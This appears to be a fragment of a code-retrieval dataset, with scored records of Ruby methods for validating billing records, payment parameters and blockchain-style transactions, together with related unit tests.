"text": "def validate_data\n @state = true\n #store the original error count, if there is a chnage to the count, then we want to update all associated insurance_billings and balance_bills\n @original_count = self.dataerrors.count\n\n #first remove any old errors from the table\n self.dataerrors.clear\n \n @s = [] \n # check the necessary fields in the table\n # use the build method so the polymorphic reference is generated cleanly\n @s.push self.dataerrors.build(:message => \"An insurance company must be selected\", :created_user => self.created_user) if self.insurance_company_id\n @s.push self.dataerrors.build(:message => \"A provider identifer must be supplied\", :created_user => self.created_user) if self.provider_id\n @s.push self.dataerrors.build(:message => \"An expiration date is required\", :created_user => self.created_user) if self.expiration_date\n \n #if there are errors, save them to the dataerrors table and return false\n if @s.count > 0\n Dataerror.store(@s) \n @state = false\n end\n \n return @state\n end",
"title": ""
},
{
"docid": "703f2d4d2c8d3f661124392504f82b68",
"score": "0.6319084",
"text": "def test_bad_parse_transactions\n\t\tassert_raises \"Transaction invalid (Runtime Error)\" do\n\t\t\[email protected]_transactions \"Name1<Name2(100)\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "c5e408b34fc686e64cab86f2ae7a08a1",
"score": "0.6308714",
"text": "def validate_balance_bill\n # check the system info record\n @system_info = SystemInfo.first\n @count = @system_info == nil ? 1 : @system_info.dataerrors.count\n #check self for any errors\n @count += self.dataerrors.count\n #check the patient\n @count += self.patient.dataerrors.count\n\n # loop through and check the session for any errors\n # only check the included sessions\n self.balance_bill_sessions.each do |bb_session|\n if bb_session.disposition == BalanceBillSession::INCLUDE\n @count += bb_session.dataerrors.count\n @count += bb_session.insurance_session.dataerrors.count\n @count += bb_session.provider.dataerrors.count\n @count += bb_session.group.dataerrors.count if !bb_session.group.blank?\n end\n end\n\n self.transaction do\n # update the errors, error_count and status fields without validations\n self.update_column(:dataerror, @count > 0)\n self.update_column(:dataerror_count, @count)\n end # end transaction\n end",
"title": ""
},
{
"docid": "ad9f3043feb660f3ee3afa11e566c857",
"score": "0.6301073",
"text": "def verify_transaction_data\n\n @blocks.each do |block|\n\n block_transactions = block.transactions\n block_users = []\n\n # Loop through each transaction\n block_transactions.split(\":\").each do |transaction|\n\n from = t_from(transaction)\n to = t_to(transaction)\n amt = t_amt(transaction).to_i\n\n if from.length > 6 || from.length < 1\n puts \"Line #{block.number}: Invalid block, address #{from} is not > 6 alphabetic characters.\"\n return false\n end\n\n if to.length > 6 || to.length < 1\n puts \"Line #{block.number}: Invalid block, address #{to} is not > 6 alphabetic characters.\"\n return false\n end\n\n # If it's from the system, ignore adding SYSTEM to the @user_list or decreasing coins\n if(from != \"SYSTEM\")\n\n if !@user_list.user_exist?(from)\n from = @user_list.add_user(from, 0)\n else\n from = @user_list.find_user(from)\n end\n\n from.num_coins -= amt\n\n block_users << from\n\n end\n\n if !@user_list.user_exist?(to)\n to = @user_list.add_user(to, 0)\n else\n to = @user_list.find_user(to)\n end\n\n to.num_coins += amt\n\n block_users << to\n\n end\n\n # Check the users in this block for a negative balance\n block_users.each do |user|\n\n if user.negative_balance?\n puts \"Line #{block.number}: Invalid block, address #{user.name} has #{user.num_coins} billcoins!\"\n return false\n end\n\n end\n\n end\n\n end",
"title": ""
},
{
"docid": "96db71b33d30f76524b6b1ba10efa1da",
"score": "0.6290112",
"text": "def valid?\n return false if !@va_contract_auth_key.nil? && @va_contract_auth_key.to_s.length > 400\n return false if !@va_contract_auth_key.nil? && @va_contract_auth_key.to_s.length < 1\n return false if !@va_type_code.nil? && @va_type_code.to_s.length > 1\n return false if !@va_type_code.nil? && @va_type_code.to_s.length < 1\n return false if !@deposit_amount_exist_code.nil? && @deposit_amount_exist_code.to_s.length > 1\n return false if !@deposit_amount_exist_code.nil? && @deposit_amount_exist_code.to_s.length < 1\n return false if !@va_holder_name_kana.nil? && @va_holder_name_kana.to_s.length > 40\n return false if !@va_holder_name_kana.nil? && @va_holder_name_kana.to_s.length < 1\n return false if !@latest_deposit_date_from.nil? && @latest_deposit_date_from.to_s.length > 10\n return false if !@latest_deposit_date_from.nil? && @latest_deposit_date_from.to_s.length < 10\n return false if !@latest_deposit_date_to.nil? && @latest_deposit_date_to.to_s.length > 10\n return false if !@latest_deposit_date_to.nil? && @latest_deposit_date_to.to_s.length < 10\n return false if !@va_issue_date_from.nil? && @va_issue_date_from.to_s.length > 10\n return false if !@va_issue_date_from.nil? && @va_issue_date_from.to_s.length < 10\n return false if !@va_issue_date_to.nil? && @va_issue_date_to.to_s.length > 10\n return false if !@va_issue_date_to.nil? && @va_issue_date_to.to_s.length < 10\n return false if !@expire_date_from.nil? && @expire_date_from.to_s.length > 10\n return false if !@expire_date_from.nil? && @expire_date_from.to_s.length < 10\n return false if !@expire_date_to.nil? && @expire_date_to.to_s.length > 10\n return false if !@expire_date_to.nil? && @expire_date_to.to_s.length < 10\n return false if !@ra_id.nil? && @ra_id.to_s.length > 29\n return false if !@ra_id.nil? && @ra_id.to_s.length < 12\n return false if !@next_item_key.nil? && @next_item_key.to_s.length > 24\n return false if !@next_item_key.nil? && @next_item_key.to_s.length < 1\n return false if !@sort_item_code.nil? && @sort_item_code.to_s.length > 1\n return false if !@sort_item_code.nil? && @sort_item_code.to_s.length < 1\n return false if !@sort_order_code.nil? && @sort_order_code.to_s.length > 1\n return false if !@sort_order_code.nil? && @sort_order_code.to_s.length < 1\n true\n end",
"title": ""
},
{
"docid": "249df23fbf912e686f9c14d5e44125b7",
"score": "0.6275348",
"text": "def validate_data\n @state = true\n #store the original error count, if there is a chnage to the count, then we want to update all associated insurance_billings and balance_bills\n @original_count = self.dataerrors.count\n #first remove any old errors from the table\n self.dataerrors.clear\n\n @s = []\n # check the necessary fields in the table\n # use the build method so the polymorphic reference is generated cleanly\n @s.push self.dataerrors.build(:message => \"Start date for managed care needs to be entered\", :created_user => self.created_user) if self.start_date.blank?\n @s.push self.dataerrors.build(:message => \"Authorization ID must be entered\", :created_user => self.created_user) if self.authorization_id.blank?\n\n #if there are errors, save them to the dataerrors table and return false\n if @s.count > 0\n Dataerror.store(@s)\n @state = false\n end\n #if the error counts changed, then update all insurance_sessions, which in turn will update insurance billings and balance bills\n self.insurance_billings.each { |claim| claim.insurance_session.validate_data } if @original_count != @s.count\n\n return @state\n end",
"title": ""
},
{
"docid": "98ddc24f128e7f359eb9c537100f88dc",
"score": "0.62742996",
"text": "def validate_transaction_section(lbtt_return, errors)\n # Validation for a blank section is in #save_validation\n return if lbtt_return.effective_date.blank?\n\n add_error(errors, (I18n.t '.transaction'), lbtt_return) unless lbtt_return.valid?(transaction_attribute_list)\n end",
"title": ""
},
{
"docid": "83120152a43b30ebf12a9a15f1e799d4",
"score": "0.62739396",
"text": "def transaction_data_input\r\n \r\n # Accepts user input for transaction date and validates for dd/mm/yy format\r\n begin\r\n retries ||= 0 \r\n @trans_date = @interface.prompt('Please enter the date of the transaction (as dd/mm/yy)')\r\n raise IncorrectDateFormatError unless @trans_date.date_format?\r\n \r\n rescue IncorrectDateFormatError\r\n @interface.message('You are required to enter date in dd/mm/yy format')\r\n if (retries += 1) < 3 \r\n retry\r\n else options_menu \r\n end\r\n\r\n rescue\r\n @interface.message('Sorry. An error occurred with your input.')\r\n if (retries += 1) < 3 \r\n retry\r\n else options_menu \r\n end\r\n \r\n end\r\n\r\n # Accepts user input for transaction account category. Accounts can take any name (?) \r\n @trans_account = @interface.prompt('Please enter an account category for the transacion').capitalize\r\n\r\n # Accepts user input for transaction value and validates it as an integer or float \r\n begin\r\n retries ||= 0\r\n\r\n @trans_value = @interface.prompt('Please enter the value of the transaction $' )\r\n raise NonNumericArgumentError unless @trans_value.is_numeric?\r\n \r\n rescue NonNumericArgumentError\r\n @interface.message('You are required to enter a whole number, or decimal for your value.')\r\n if (retries += 1) < 3 \r\n retry\r\n else options_menu \r\n end\r\n\r\n rescue\r\n @interface.message('Sorry. An error occurred with your input.')\r\n if (retries += 1) < 3 \r\n retry\r\n else options_menu \r\n end\r\n \r\n end\r\n\r\n store_transaction\r\n\r\n @interface.message('You have successfully entered your transaction.')\r\n end",
"title": ""
},
{
"docid": "473cad3cf502f2aca488917c879baae5",
"score": "0.6256438",
"text": "def transaction_validation(model)\n return if model.effective_date.present?\n\n model.errors.add(:base, :missing_about_the_transaction, link_id: 'add_transaction_details')\n end",
"title": ""
},
{
"docid": "03d7bb799eb51950f116074fcb2acc5e",
"score": "0.6214186",
"text": "def verify_first_transaction_list\n return if @transaction_list.length == 1\n verify_error(0, \"Invalid transaction length #{@transaction_list.length}, should be 1\")\n end",
"title": ""
},
{
"docid": "f0fed1c4fdf23e916879d29f0dbac051",
"score": "0.6204888",
"text": "def verify!\n external_transaction = Cielo::Transaction.new.verify!(raw_transaction[:tid])[:transacao]\n update_attribute :raw_transaction, external_transaction\n end",
"title": ""
},
{
"docid": "271c59f6e6d2fa39611476c9ef3e4aaa",
"score": "0.6190261",
"text": "def execute_transaction\n if !self.valid? || @status != \"pending\" || @sender.balance < @amount\n @status = \"rejected\"\n \"Transaction rejected. Please check your account balance.\"\n else\n transfer_money(@sender, @receiver, @amount)\n record_transfer\n end\n end",
"title": ""
},
{
"docid": "99a609ae68bea904f7939c9e42e95cf3",
"score": "0.618704",
"text": "def test_verify_transactions_valid\n balances = verify_transactions(create_maps(@full))\n assert_kind_of Hash, balances\n balances.each do |addr, balance|\n if addr == \"SYSTEM\"\n assert balance < 0\n else\n assert balance >= 0\n end\n end\n end",
"title": ""
},
{
"docid": "5396ba1f76ffb840db3af4a975771a18",
"score": "0.61860454",
"text": "def check_transaction_format(transactions, line_num)\n return if transactions.include?('>')\n\n puts(\"Line #{line_num}: Could not parse transactions list '#{transactions}'\\nBLOCKCHAIN INVALID\")\n exit 1\n end",
"title": ""
},
{
"docid": "5ffbfed600baa4e302eee7ad982c24a8",
"score": "0.61832595",
"text": "def check_validity\r\n end",
"title": ""
},
{
"docid": "c8cf1520e5820d4ced83cb18f7323329",
"score": "0.6180675",
"text": "def valid?\n data\n end",
"title": ""
},
{
"docid": "8e7169e15cabe38cd50c2e185ffa4bb6",
"score": "0.6164354",
"text": "def validate_data\n #first remove any old errors from the table\n self.dataerrors.clear\n \n @s = [] \n # check the necessary fields in the table\n # use the build method so the polymorphic reference is generated cleanly\n @s.push self.dataerrors.build(:message => \"A Rate must be entered\", :created_user => self.created_user) if self.rate.blank?\n \n \n #if there are errors, save them to the dataerrors table and return false\n if @s.count > 0\n Dataerror.store(@s) \n return false\n end\n #everything is good, return true\n return true\n end",
"title": ""
},
{
"docid": "b4c112d19692193cb2acbd228472e182",
"score": "0.61423165",
"text": "def test_valid_transaction_pattern_all_wrong\n refute valid_transaction_pattern?('lalalalalala')\n end",
"title": ""
},
{
"docid": "461ef9662a3320c7e9afa63ec7e6f812",
"score": "0.61405855",
"text": "def is_trans_date_valid?\n # transaction date\n trans_year = trans_date.strftime(\"%Y\").to_i\n trans_month = trans_date.strftime(\"%m\").to_i\n trans_day = trans_date.strftime(\"%d\").to_i\n\n # current date\n current_year = DateTime.now.strftime(\"%Y\").to_i\n current_month = DateTime.now.strftime(\"%m\").to_i\n current_day = DateTime.now.strftime(\"%d\").to_i\n \n # statement date\n @statement = Statement.find_by id: statement_id\n state_year = @statement.period.strftime(\"%Y\").to_i\n state_month = @statement.period.strftime(\"%m\").to_i\n\n if !(state_year == trans_year)\n self.errors.add(:base, \"Transaction year and Statement year do not match\")\n elsif !(state_month == trans_month)\n self.errors.add(:base, \"Tranaction month and Statement month do not match\")\n elsif state_year == current_year && state_month == current_month && current_day < trans_day\n self.errors.add(:base, \"Day cannot be in the future\")\n end\n end",
"title": ""
},
{
"docid": "9506fb0cba04637d7871344da31d8e23",
"score": "0.61337614",
"text": "def validate_transaction_line_data_values tranx_number,line_type,home_value , line_description, line_item_gla_name, local_gla_name, local_gla_value, expected_dim2, expected_dim3\n\tpage.has_text?(tranx_number)\n TRANX.open_transaction_line_item_by_home_value_line_description home_value, line_description\n\tSF.wait_for_search_button\n\tgen_compare line_item_gla_name , TRANX.get_line_item_gla_name ,\"Expected GLA value to be #{line_item_gla_name}.\"\n\tgen_compare local_gla_name , TRANX.get_line_item_local_gla_name ,\"Expected Local GLA value to be #{local_gla_name}. \"\n\tgen_compare local_gla_value , TRANX.get_line_item_local_gla_value ,\"Expected local GLA value to be #{local_gla_value}.\"\n\tgen_compare expected_dim2 , TRANX.get_line_item_dimension2_value ,\"Expected Dimension 2 value to be #{expected_dim2}.\"\n\tgen_compare expected_dim3 , TRANX.get_line_item_dimension3_value ,\"Expected Dimension 3 value to be #{expected_dim3}.\"\n\tgen_compare line_type ,\tTRANX.get_line_item_line_type_value ,\"Expected line type value to be #{line_type}.\"\n\tSF.click_link tranx_number\n\tpage.has_text?(tranx_number)\nend",
"title": ""
},
{
"docid": "f6edaf06101fec313f9b29c9a13e38b9",
"score": "0.61178213",
"text": "def validate_payment_transaction(payment_transaction)\n validate_query_config payment_transaction\n\n error_message = ''\n missed_fields = []\n invalid_fields = []\n\n request_fields_definition.each do |field_name, property_path, is_field_required, validation_rule|\n field_value = PropertyAccessor.get_value payment_transaction, property_path, false\n\n if field_value\n begin\n Validator.validate_by_rule field_value, validation_rule\n rescue ValidationError => error\n invalid_fields << \"Field '#{field_name}' from property path '#{property_path}', #{error.message}.\"\n end\n elsif is_field_required\n missed_fields << \"Field '#{field_name}' from property path '#{property_path}' missed or empty.\"\n end\n end\n\n unless missed_fields.empty?\n error_message << \"Some required fields missed or empty in PaymentTransaction: \\n#{missed_fields.join \"\\n\"}\\n\"\n end\n\n unless invalid_fields.empty?\n error_message << \"Some fields invalid in PaymentTransaction: \\n#{invalid_fields.join \"\\n\"}\\n\"\n end\n\n unless error_message.empty?\n raise ValidationError, error_message\n end\n end",
"title": ""
},
{
"docid": "51361f34ce8c5782ae40be57ff8f99a1",
"score": "0.61151814",
"text": "def validate_and_sanitize\n\n r = validate\n unless r.success?\n notify_devs({decoded_token_data: @decoded_token_data})\n return r\n end\n\n @transaction_hash = @decoded_token_data[:transaction_hash]\n @block_hash = @decoded_token_data[:block_hash]\n @block_number = @decoded_token_data[:block_number].to_i\n\n (@decoded_token_data[:events_data] || []).each do |e|\n next if e.blank?\n\n if e[:name] == GlobalConstant::ContractEvent.whitelist_updated_kind\n\n @contract_address = e[:address]\n @event_data = e[:events]\n\n end\n end\n\n return error_with_data(\n 'wm_pare_2',\n 'invalid event data',\n 'invalid event data',\n GlobalConstant::ErrorAction.default,\n {}\n ) if @event_data.blank? || !@event_data.is_a?(Array)\n\n return error_with_data(\n 'wm_pare_2.1',\n 'invalid contract_address',\n 'invalid contract_address',\n GlobalConstant::ErrorAction.default,\n {}\n ) if @contract_address.blank?\n\n @event_data.each do |var_obj|\n case var_obj[:name]\n when '_account'\n @ethereum_address = var_obj[:value]\n when '_phase'\n _phase = var_obj[:value]\n return error_with_data(\n 'wm_pare_2.1',\n \"invalid phase value: #{_phase}\",\n \"invalid phase value: #{_phase}\",\n GlobalConstant::ErrorAction.default,\n {}\n ) unless Util::CommonValidateAndSanitize.is_float?(_phase)\n\n @phase = _phase.to_i\n end\n end\n\n return error_with_data(\n 'wm_pare_2.2',\n 'invalid event data',\n 'invalid event data',\n GlobalConstant::ErrorAction.default,\n {}\n ) if @phase.nil? || @ethereum_address.blank?\n\n success\n end",
"title": ""
},
{
"docid": "bf72a6a8b053105d5efeddf21eb2896e",
"score": "0.611178",
"text": "def test_insufficient_fund_transfer_error\n \tload_fixtures_to_db\n\n ActsAsTenant.current_tenant = accounts(:aightify)\n\n params = {}\n params[:user_id] = sclients(:one).user_id\n params[:to_user_id] = sclients(:two).user_id\n params[:fund] = 200\n params[:currency] = \"POUND\"\n params[:info] = \"receiver: #{params[:to_user_id]}\\ntransferer: #{params[:user_id]}\"\n params[:transaction_type] = \"TF\"\n\n response = Transaction.process_transaction(params)\n\n assert_equal response['errors'].length, 1\n assert_equal response['success'], false\n end",
"title": ""
},
{
"docid": "507515fef69dabe9189b9b8a61edfe5f",
"score": "0.61101764",
"text": "def execute_transaction\n # accounts must be valid\n # sender must have more money in thier account, than the transfer amount\n # status should be \"pending\" so that transaction cannot be repeated\n if self.valid? && self.sender.balance >= self.amount && self.status == \"pending\"\n # remove amount from sender's balance, add amount to receiver's balance, change status to complete\n self.sender.balance -= self.amount\n self.receiver.balance += self.amount\n self.status = \"complete\"\n else\n self.status = \"rejected\"\n \"Transaction rejected. Please check your account balance.\"\n end\n end",
"title": ""
},
{
"docid": "7e156e33fc93e87dca708fc8a2d2a8a6",
"score": "0.60988975",
"text": "def validate(record); end",
"title": ""
},
{
"docid": "7e156e33fc93e87dca708fc8a2d2a8a6",
"score": "0.60988975",
"text": "def validate(record); end",
"title": ""
},
{
"docid": "7e156e33fc93e87dca708fc8a2d2a8a6",
"score": "0.60988975",
"text": "def validate(record); end",
"title": ""
},
{
"docid": "59c3547a1f0732d7f64426a415e33ded",
"score": "0.6098061",
"text": "def test_bad_address_length\n\t refute @checker.do_transactions('00000>111111(10)', 0)\n end",
"title": ""
},
{
"docid": "367eedb9f46b607d5f311c1b321bd05c",
"score": "0.6089034",
"text": "def test_verify_line_transactions_invalid\n assert_equal [false, nil, nil, nil], verify_line(\"0|0|SYSTEM>569274(-100)|1553184699.650330000|288d\\n\", 0, '0', '0.0', @account_set)\n end",
"title": ""
},
{
"docid": "587ed3093d51e129840ad96318126f52",
"score": "0.6086031",
"text": "def create\n\t\tif missing_params\n\t\t\tif enough_money\n\t\t\t\tcheck_same_bank\n\t\t\telse\n\t\t\t\tcreate_failed_transaction\n\t\t\tend\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"title": ""
},
{
"docid": "e46a7b9815ddbe5fa6d08648e70fdd72",
"score": "0.60840553",
"text": "def validate_data\n inputs = Set.new(node.in_slots.map(&:carrier))\n effs = Set.new(node.output[carrier].keys)\n\n unless inputs.subset?(effs)\n # One or more efficiencies are missing.\n errors.add(:base, error_msg(:efficiencies, inputs, effs))\n end\n\n unless effs.subset?(inputs)\n # One or more input shares are missing.\n errors.add(:base, error_msg(:inputs, effs, inputs))\n end\n end",
"title": ""
},
{
"docid": "5951bb9de0a1ff99969067aa2ec855ce",
"score": "0.6081877",
"text": "def validate(data)\n _validate(data, @schema.type) \n end",
"title": ""
},
{
"docid": "5108a83c9642a9b206abe71d526b5956",
"score": "0.6080207",
"text": "def test_bad_to_address\n assert_equal false, @VERIFY.validate_address(@transaction)\n end",
"title": ""
},
{
"docid": "047d920039f7fd8baf9999714ef055c7",
"score": "0.6072293",
"text": "def execute_transaction\n if valid?\n @sender.balance -= @amount\n @receiver.deposit(@amount)\n @status = \"complete\"\n else\n @sender.balance < 950\n @status = \"rejected\"\n \"Transaction rejected. Please check your account balance.\"\n end\n end",
"title": ""
},
{
"docid": "de59d9f70860574bc60d7b0e18de48cb",
"score": "0.60711956",
"text": "def validate\n messages = []\n error_detail_indexes = []\n consumption = @consumption\n details = JSON.parse(params[:details])\n auction = Auction.find(consumption.auction_id)\n raise ActiveRecord::RecordNotFound if auction.nil?\n\n # Account must be unique within a RA.\n check_result = account_number_unique(auction, details)\n error_detail_indexes.concat(check_result[0])\n messages.concat(check_result[1])\n # Account number cannot be same with any unexpired contracts of this buyer.\n # Other check\n check_result = consumption_other_check(auction, details)\n error_detail_indexes.concat(check_result[0])\n messages.concat(check_result[1])\n\n error_detail_indexes = error_detail_indexes.uniq\n return_json = {validate_result: error_detail_indexes.blank?,\n error_detail_indexes: error_detail_indexes,\n error_messages: messages}\n render json: return_json, status: 200\n end",
"title": ""
},
{
"docid": "528f074b132906053c847d1ad03a4435",
"score": "0.60694027",
"text": "def test_bad_from_address\n transaction = [\"12345678\", \"1234567\"]\n assert_equal false, @VERIFY.validate_address(transaction)\n end",
"title": ""
},
{
"docid": "9cdadfabe2395842bc0ce64154a9ad39",
"score": "0.60581774",
"text": "def valid?\n return false if !@merchant_id.nil? && @merchant_id.to_s.length > 30\n return false if !@merchant_transaction_id.nil? && @merchant_transaction_id.to_s.length > 40\n transaction_status_validator = EnumAttributeValidator.new('String', [\"APPROVED\", \"WAITING\", \"PARTIAL\", \"VALIDATION_FAILED\", \"PROCESSING_FAILED\", \"DECLINED\"])\n return false unless transaction_status_validator.valid?(@transaction_status)\n transaction_state_validator = EnumAttributeValidator.new('String', [\"AUTHORIZED\", \"CAPTURED\", \"DECLINED\", \"CHECKED\", \"COMPLETED_GET\", \"INITIALIZED\", \"PENDING\", \"READY\", \"TEMPLATE\", \"SETTLED\", \"VOIDED\", \"WAITING\"])\n return false unless transaction_state_validator.valid?(@transaction_state)\n return false if !@payment_account_reference_number.nil? && @payment_account_reference_number.to_s.length > 30\n return false if !@scheme_transaction_id.nil? && @scheme_transaction_id.to_s.length > 40\n true\n end",
"title": ""
},
{
"docid": "579201ccc3711565b593a9eab38fb3b1",
"score": "0.6056152",
"text": "def validate(params)\n Success(params)\n # Failure(:invalid_data)\n end",
"title": ""
},
{
"docid": "287532553cd2b22095267c0b64a6ee8c",
"score": "0.60555",
"text": "def validarTrxFactura(trx, factura)\n\t#verificamos que la trx sera para nosotros\n\tif(trx.cuentaDestino != Cliente.find_by(grupo: 7)[:_idBanco])\n\t\tputs \"xxxDESTINO FACTURA INCORRECTOxxx-\"\n\t\treturn false\n\tend\n\n\t#que el monto de la transaccion corresponda al de la factura\n\tif(trx.monto != factura.valorTotal)\n\t\tputs \"MONTOS DISTINTOSxxx-\"\n\t\treturn false\n\tend\n\t\treturn true\n\nend",
"title": ""
},
{
"docid": "974a5d7771d7e5bc969222f72a78a28c",
"score": "0.60356194",
"text": "def execute_transaction\n if self.valid? && self.status == \"pending\" && self.sender.balance > self.amount\n self.status = \"complete\"\n self.sender.balance -= self.amount\n self.receiver.balance += self.amount\n else\n self.status = \"rejected\"\n \"Transaction rejected. Please check your account balance.\"\n end\n end",
"title": ""
},
{
"docid": "a9991d159b13abde05761d2ead33e5bd",
"score": "0.6012571",
"text": "def validate\n return false if @id.nil? or @id < 0\n return false if @name.nil? or @name.strip.length <= 0\n return false if @description.nil? or @description.strip.length <= 0\n return false if @capacity.nil? or @capacity <= 0\n return true\n end",
"title": ""
},
{
"docid": "0feaa83db4dba60d9d4660779a6f4d4a",
"score": "0.6010766",
"text": "def validate_for_creation\n return false if id\n return false if !organization\n return false if !regular_amount_in_cents || !starting_amount_in_cents\n\n return true\n end",
"title": ""
},
{
"docid": "32b5448bf0d340fcae52d64dc6f64a32",
"score": "0.60056233",
"text": "def validate_data\n check_data_sufficiency\n check_data_validity\n validate_and_initialize_positions\n end",
"title": ""
},
{
"docid": "715b8e31a2ba202249d8fe5ff29a710d",
"score": "0.60044885",
"text": "def validate_trans_lineItems test_step_number, trans_num , line_type, line_number, gla_name, gla_currency, gla_value, local_gla_name, local_gla_currency, local_gla_value\n\t#validation\n\tgen_compare gla_name, TRANX.get_line_item_gla_name , \"#{test_step_number}:-#{line_type} Line #{line_number} -General Ledger Account is correct\"\n\tgen_compare gla_currency,TRANX.get_line_item_gla_currency_value , \"#{test_step_number}:-#{line_type} Line #{line_number} -General Ledger Account Currency is correct\"\n\tgen_compare gla_value, TRANX.get_line_item_gla_value , \"#{test_step_number}:-#{line_type} Line #{line_number} -General Ledger Account Value is correct\"\n\tgen_compare local_gla_name,TRANX.get_line_item_local_gla_name , \"#{test_step_number}:-#{line_type} Line #{line_number}-Local General Ledger Account is correct\"\n\tgen_compare local_gla_currency,TRANX.get_line_item_local_gla_currency_value , \"#{test_step_number}:-#{line_type} Line #{line_number}-Local General Ledger Account Currency is correct\"\n\tgen_compare local_gla_value, TRANX.get_line_item_local_gla_value , \"#{test_step_number}:-#{line_type} Line #{line_number}-Local General Ledger Account Value is correct.\"\n\t# navigate back to transaction page\n\tSF.click_link trans_num\n\tSF.wait_for_search_button\nend",
"title": ""
},
{
"docid": "42c0045ae0d07a482e6c711148d26983",
"score": "0.60038704",
"text": "def validate_data\n @state = true\n #store the original error count, if there is a chnage to the count, then we want to update all associated insurance_billings and balance_bills\n @original_count = self.dataerrors.count\n #first remove any old errors from the table\n self.dataerrors.clear\n\n @s = []\n # check the necessary fields in the table\n @s.push self.dataerrors.build(:message => \"Organization name is required.\", :created_user => self.created_user) if self.organization_name.blank?\n @s.push self.dataerrors.build(:message => \"Contact's first name is required\", :created_user => self.created_user) if self.first_name.blank?\n @s.push self.dataerrors.build(:message => \"Contact's last name is required\", :created_user => self.created_user) if self.last_name.blank?\n @s.push self.dataerrors.build(:message => \"Either the EIN or SSN number used for billing needs to be provided\",\n :created_user => self.created_user) if self.ein_number.blank? && self.ssn_number.blank?\n @s.push self.dataerrors.build(:message => \"Primary office phone number is required\", :created_user => self.created_user) if self.work_phone.blank?\n @s.push self.dataerrors.build(:message => \"Address is required\", :created_user => self.created_user) if self.address1.blank?\n @s.push self.dataerrors.build(:message => \"City is required\", :created_user => self.created_user) if self.city.blank?\n @s.push self.dataerrors.build(:message => \"State is required\", :created_user => self.created_user) if self.state.blank?\n @s.push self.dataerrors.build(:message => \"Zip is required\", :created_user => self.created_user) if self.zip.blank?\n\n #if there are errors, save them to the dataerrors table and return false\n if @s.count > 0\n Dataerror.store(@s)\n @state = false\n end\n # if the error counts changed, then update all insurance_bill & balance bills\n # this will hit every insurance_billing and balance_billing record\n # looping through this section of code should not be normal when the system has been running\n if @original_count != @s.count\n @insurance_billings = InsuranceBilling.all\n @balance_bills = BalanceBill.all\n self.transaction do\n @insurance_billings.each { |billing| billing.validate_claim if billing.editable_state? }\n @balance_bills.each { |balance| balance.validate_balance_bill if balance.editable_state? }\n end\n end\n\n return @state\n end",
"title": ""
},
{
"docid": "30023dab4a84ffba033528162f655450",
"score": "0.59999585",
"text": "def test_verify_transactions_all_valid\n accounts = []\n valid_transaction = 'SYSTEM>569274(100)'\n assert verify_transactions(valid_transaction, accounts, 0)\n assert_output(\"\"){verify_transactions(valid_transaction, accounts, 0)}\n end",
"title": ""
},
{
"docid": "9093deb2a8476379031e7583a2ece3d4",
"score": "0.5996913",
"text": "def validate_data\n @state = true\n #store the original error count, if there is a chnage to the count, then we want to update all associated insurance_billings and balance_bills\n @original_count = self.dataerrors.count \n #first remove any old errors from the table\n self.dataerrors.clear\n \n @s = [] \n # check the necessary fields in the table\n # use the build method so the polymorphic reference is generated cleanly\n @s.push self.dataerrors.build(:message => \"Date therapy started is required\", :created_user => self.created_user) if self.start_therapy.blank?\n @s.push self.dataerrors.build(:message => \"Date when illness started is required\", :created_user => self.created_user) if self.start_illness.blank?\n # if accident, then the accident state is required\n if self.accident_type == :accident\n @s.push self.dataerrors.build(:message => \"The state where the accident occured is required\", :created_user => self.created_user) if self.accident_state.blank?\n end\n\n #if there are errors, save them to the dataerrors table and return false\n if @s.count > 0\n Dataerror.store(@s) \n @state = false\n end\n #if the error counts changed, then update all insurance_bill & balance bills\n if @original_count != @s.count\n self.insurance_sessions.each { |session| session.save! } \n end \n return @state\n end",
"title": ""
},
{
"docid": "1e8238bb0b2f34c3a2795fc7883d6c72",
"score": "0.59920835",
"text": "def validate\n raise ArgumentError, \"Params emtpy\" if @params.nil? \n @errors = []\n @errors << 'txn_id must be provided' if @params.txn_id.nil? \n @errors << 'order.id must be provided' if @params.order.id.nil? \n @errors << 'order.total must be provided' if @params.order.total.nil? \n @errors << 'order.shipping_value must be provided' if @params.order.shipping_value.nil? \n @errors << 'order.tax must be provided' if @params.order.tax.nil? \n\n raise ZipMoney::RequestError.new(\"Following error(s) occurred while making request, please resolve them to make the request: #{@errors}\") if @errors.any?\n end",
"title": ""
},
{
"docid": "ac0b95238e90f90e8cab68be6fb6ff54",
"score": "0.5991131",
"text": "def validate\n super\n consignee_to_test = self.consignee || self.consignee_confirmation\n if consignee_to_test && consignee_to_test.is_a?(Advocate)\n if consignee_to_test.promotion_contact_transactions.find(:first,\n :conditions => [\"contact_transactions.created_at < ?\", Time.now.utc - 1.day])\n self.errors.add(:code, I18n.t('activerecord.errors.messages.invalid'))\n end\n end\n\n end",
"title": ""
},
{
"docid": "af0d7281fe1d28647220ccaf230e974e",
"score": "0.59875864",
"text": "def execute_transaction\n if @sender.balance < @amount || (!self.valid?)\n @status = \"rejected\"\n \"Transaction rejected. Please check your account balance.\"\n elsif @status == \"pending\"\n @sender.deposit(-amount)\n @receiver.deposit(amount)\n @status = \"complete\"\n end\n end",
"title": ""
},
{
"docid": "0ac21620c75ee8daa5f285e0461e75ba",
"score": "0.597127",
"text": "def valid?\n return false if @name.nil?\n return false if [email protected]? && @vat > 1\n return false if [email protected]? && @vat < 0\n return false if @amount.nil?\n return false if @amount < 0\n return false if [email protected]? && @quantity < 1\n return false if @handle.nil?\n return false if @version.nil?\n return false if @version < 1\n return false if @state.nil?\n state_validator = EnumAttributeValidator.new('String', [\"active\", \"superseded\", \"deleted\"])\n return false unless state_validator.valid?(@state)\n return false if @currency.nil?\n return false if @created.nil?\n return false if !@renewal_reminder_email_days.nil? && @renewal_reminder_email_days < 1\n return false if !@trial_reminder_email_days.nil? && @trial_reminder_email_days < 1\n partial_period_handling_validator = EnumAttributeValidator.new('String', [\"bill_full\", \"bill_prorated\", \"bill_zero_amount\", \"no_bill\"])\n return false unless partial_period_handling_validator.valid?(@partial_period_handling)\n return false if !@setup_fee.nil? && @setup_fee < 0\n return false if !@fixed_count.nil? && @fixed_count < 1\n fixed_life_time_unit_validator = EnumAttributeValidator.new('String', [\"months\", \"days\"])\n return false unless fixed_life_time_unit_validator.valid?(@fixed_life_time_unit)\n return false if !@fixed_life_time_length.nil? && @fixed_life_time_length < 1\n trial_interval_unit_validator = EnumAttributeValidator.new('String', [\"months\", \"days\"])\n return false unless trial_interval_unit_validator.valid?(@trial_interval_unit)\n return false if !@trial_interval_length.nil? && @trial_interval_length < 1\n return false if @interval_length.nil?\n return false if @interval_length < 1\n return false if 